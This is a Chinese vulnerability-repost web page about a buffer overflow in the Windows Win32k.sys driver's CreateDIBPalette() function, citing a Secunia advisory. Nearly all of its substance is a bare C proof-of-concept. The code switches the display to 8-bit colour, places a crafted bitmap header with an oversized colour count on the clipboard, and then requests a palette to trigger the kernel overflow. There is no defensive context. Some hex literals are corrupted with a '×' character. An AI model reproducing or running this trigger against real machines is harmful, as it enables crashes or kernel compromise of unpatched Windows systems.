当前位置:
首页 > 漏洞 > 微软视窗Win32k.sys驱动程序“CreateDIBPalette()”缓冲区溢出

微软视窗Win32k.sys驱动程序“CreateDIBPalette()”缓冲区溢出

Sources:

Heapos Forever


http://secunia.com/advisories/40870/

DEVMODE dm = {0};
dm.dmSize = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);

微软视窗Win32k.sys驱动程序“CreateDIBPalette()”缓冲区溢出:等您坐沙发呢!

发表评论

表情
还能输入210个字